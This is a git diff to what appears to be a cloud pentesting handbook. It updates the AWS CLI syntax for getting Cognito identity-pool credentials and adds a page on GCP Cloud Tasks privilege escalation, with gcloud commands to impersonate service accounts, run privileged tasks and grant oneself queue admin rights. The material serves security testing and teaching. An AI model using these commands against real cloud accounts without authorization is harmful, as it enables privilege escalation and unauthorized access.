diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 66a6a8fd8..7e7cc6609 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -107,6 +107,7 @@ - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md) - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md) - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md) + - [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md) - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md) - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md) - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 2b8d27874..7f5fd1845 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -167,22 +167,36 @@ For this you might need to have access to the **identity provider**. If that is Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). -
aws cognito-identity get-id \
-    --identity-pool-id  \
-    --logins cognito-idp..amazonaws.com/=
+

+# Updated format
+aws cognito-identity get-id \
+  --identity-pool-id  \
+  --logins '{"cognito-idp..amazonaws.com/": ""}'
 
-# Get the identity_id from the previous commnad response
 aws cognito-identity get-credentials-for-identity \
-    --identity-id  \
-    --logins cognito-idp..amazonaws.com/=
+  --identity-id  \
+  --logins '{"cognito-idp..amazonaws.com/": ""}'
 
-
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
 aws cognito-identity get-credentials-for-identity \
-    --identity-id  \
-    --custom-role-arn  \
-    --logins cognito-idp..amazonaws.com/=
+  --identity-id  \
+  --custom-role-arn  \
+  --logins '{"cognito-idp..amazonaws.com/": ""}'
+
+ +> **Deprecated format** — these may no longer work with current AWS CLI: +

+aws cognito-identity get-id \
+  --identity-pool-id  \
+  --logins cognito-idp..amazonaws.com/=
+
+aws cognito-identity get-credentials-for-identity \
+  --identity-id  \
+  --logins cognito-idp..amazonaws.com/=
+
+aws cognito-identity get-credentials-for-identity \
+  --identity-id  \
+  --custom-role-arn  \
+  --logins cognito-idp..amazonaws.com/=
 
> [!WARNING] diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md new file mode 100644 index 000000000..65bb00f10 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md @@ -0,0 +1,51 @@ +# GCP - Cloud Tasks Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Cloud Tasks + +### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` + +An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services. + +```bash +gcloud tasks create-http-task \ + task-$(date '+%Y%m%d%H%M%S') \ + --location us-central1 \ + --queue \ + --url 'https://.us-central1.run.app' \ + --method POST \ + --header 'X-Hello: world' \ + --body-content '{"hello":"world"}' \ + --oidc-service-account-email @.iam.gserviceaccount.com +``` + +### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` + +An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts. + +```bash +gcloud tasks run projects//locations/us-central1/queues//tasks/ +``` + +The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks. + +### `cloudtasks.queues.setIamPolicy` + +An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks. + +```bash +gcloud tasks queues add-iam-policy-binding \ + \ + --location us-central1 \ + --member serviceAccount:@.iam.gserviceaccount.com \ + --role roles/cloudtasks.admin +``` + +This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control. + +## References + +- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs) + +{{#include ../../../banners/hacktricks-training.md}}